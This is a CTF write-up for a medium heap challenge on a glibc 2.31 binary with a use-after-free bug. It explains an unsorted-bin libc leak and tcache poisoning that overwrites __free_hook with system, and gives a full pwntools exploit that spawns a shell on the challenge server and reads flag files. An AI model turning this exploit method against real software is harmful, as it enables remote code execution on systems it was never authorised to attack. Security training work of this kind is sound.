pwn9_mc4 — Mic Check: leak and pwn!
pwn9_mc4 — Mic Check: leak and pwn!
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: unsorted_bin_leak, tcache_poisoning_no_safe_linking, free_hook_overwrite, system_binsh
Summary
Task: menu-driven glibc 2.31 heap allocator where delete() doesn't NULL the slot, making print and edit usable on freed chunks. Solution: unsorted-bin leak via a chunk > tcache max and a guard to prevent top-consolidation; tcache poisoning by editing the freed chunk's fd to __free_hook; write system into __free_hook; free('/bin/sh') → shell.
pwn9_mc4 — Mic Check: leak and pwn! (SPB CTF)
Description
Mic Check — "leak and pwn!" — 10 pts. Heap challenge, glibc 2.31.
nc 109.233.56.90 11803
Menu-based heap allocator with array[10] pointer table:
1 allocate— size 1..0x7ff,malloc, readsizebytes byte-by-byte until\n, NUL-terminate at the newline.2 print—puts(array[idx])— no NULL check, so UAF-read works.3 delete—free(array[idx])— does not clear the slot.4 edit— read up to0x10bytes intoarray[idx], stop on\nor 16 bytes.
Binary
mc4.elf— x86-64, PIE, Full RELRO, NX, Canary.libc.so— glibc 2.31-0ubuntu9.1 (no safe-linking yet on tcache).
Analysis
delete leaves a dangling pointer. Combined with print and especially edit continuing to work on that dangling pointer, we have everything needed:
- UAF-read via
print— puts the freed chunk's first bytes (the tcache/binfd). - UAF-write via
edit— lets us clobber a freed chunk'sfd, which in glibc 2.31 without safe-linking is a raw pointer → classic tcache poisoning. - Trigger via a second
freeafter overwriting__free_hookwithsystem.
The only subtlety: edit stops on \n or after 16 bytes. If we send fewer than 16 bytes without a newline, the byte-loop hangs. Always pad to 16 bytes.
Solution
Phase 1 — libc leak via unsorted bin
alloc(0x420)→ chunk size0x430> tcache max0x410, so free routes to the unsorted bin.alloc(0x20)guard — prevents consolidation of the big chunk with top.free(0)→ big chunk lands in unsorted bin;fd = main_arena + 0x60.print(0)(UAF-read) leaks 6 bytes ofmain_arena + 0x60.libc_base = leak - 0x1ebbe0.
Phase 2 — tcache poisoning
alloctwo chunks of size0x60(chunk size0x70) at idx 2 and 3.free(2)thenfree(3)→tcache[0x70]head = D → C.edit(3, p64(__free_hook) + b'X'*8)— overwrites D'sfdwith__free_hook. Pad to 16 bytes because the edit loop otherwise won't return.alloc(0x60)→ pops D.alloc(0x60, p64(system))→mallocreturns__free_hookas the user pointer, and the allocation write placessystemthere. Now__free_hook = system.
Phase 3 — trigger
alloc(0x20, "/bin/sh\0").freethat chunk →__free_hook(chunk_ptr) = system("/bin/sh")→ shell →cat /flag.
Full exploit
python read-only • copy allowed#!/usr/bin/env python3 """pwn9_mc4 — glibc 2.31 heap: UAF + edit → tcache poison → __free_hook = system.""" from pwn import * context.binary = elf = ELF('./mc4.elf') context.log_level = 'info' libc = ELF('./libc.so') HOST, PORT = '109.233.56.90', 11803 def alloc(p, size, data): p.sendlineafter(b'Choose:', b'1') p.sendlineafter(b'Size?', str(size).encode()) p.sendafter(b'enter name:\n', data) def show(p, idx): p.sendlineafter(b'Choose:', b'2') p.sendlineafter(b'Index?', str(idx).encode()) def free(p, idx): p.sendlineafter(b'Choose:', b'3') p.sendlineafter(b'Index?', str(idx).encode()) def edit(p, idx, data): # edit reads up to 0x10 bytes byte-by-byte, stops on '\n'. Always send full 16 bytes. p.sendlineafter(b'Choose:', b'4') p.sendlineafter(b'Index?', str(idx).encode()) p.send(data) def exploit(): p = remote(HOST, PORT) # Phase 1: unsorted-bin leak alloc(p, 0x420, b'A' * 8 + b'\n') # idx 0 — big chunk alloc(p, 0x20, b'guard\n') # idx 1 — guard against top consolidation free(p, 0) # → unsorted bin p.sendlineafter(b'Choose:', b'2') p.sendlineafter(b'Index?', b'0') leak_raw = b'' while len(leak_raw) < 5: leak_raw = p.recvline().rstrip(b'\n') # skip stray blank lines leak = u64(leak_raw.ljust(8, b'\x00')) libc.address = leak - 0x1ebbe0 assert libc.address & 0xfff == 0 log.success(f'libc base: {hex(libc.address)}') system = libc.sym.system free_hook = libc.sym.__free_hook # Phase 2: tcache poison __free_hook alloc(p, 0x60, b'C\n') # idx 2 alloc(p, 0x60, b'D\n') # idx 3 free(p, 2) # tcache[0x70]: C free(p, 3) # tcache[0x70]: D → C edit(p, 3, p64(free_hook) + b'X' * 8) # D.fd = __free_hook (pad to 16 bytes) alloc(p, 0x60, b'dummy\n') # idx 4 = D alloc(p, 0x60, p64(system) + b'\n') # idx 5 = __free_hook; writes system # Phase 3: trigger alloc(p, 0x20, b'/bin/sh\x00\n') # idx 6 p.sendlineafter(b'Choose:', b'3') p.sendlineafter(b'Index?', b'6') # free(ptr) → __free_hook(ptr) = system("/bin/sh") # Shell (non-interactive) p.sendline(b'cat /flag* 2>&1; cat /home/*/flag* 2>&1') try: out = p.recvall(timeout=8) except EOFError: out = b'' print(out.decode(errors='replace')) p.close() if __name__ == '__main__': exploit()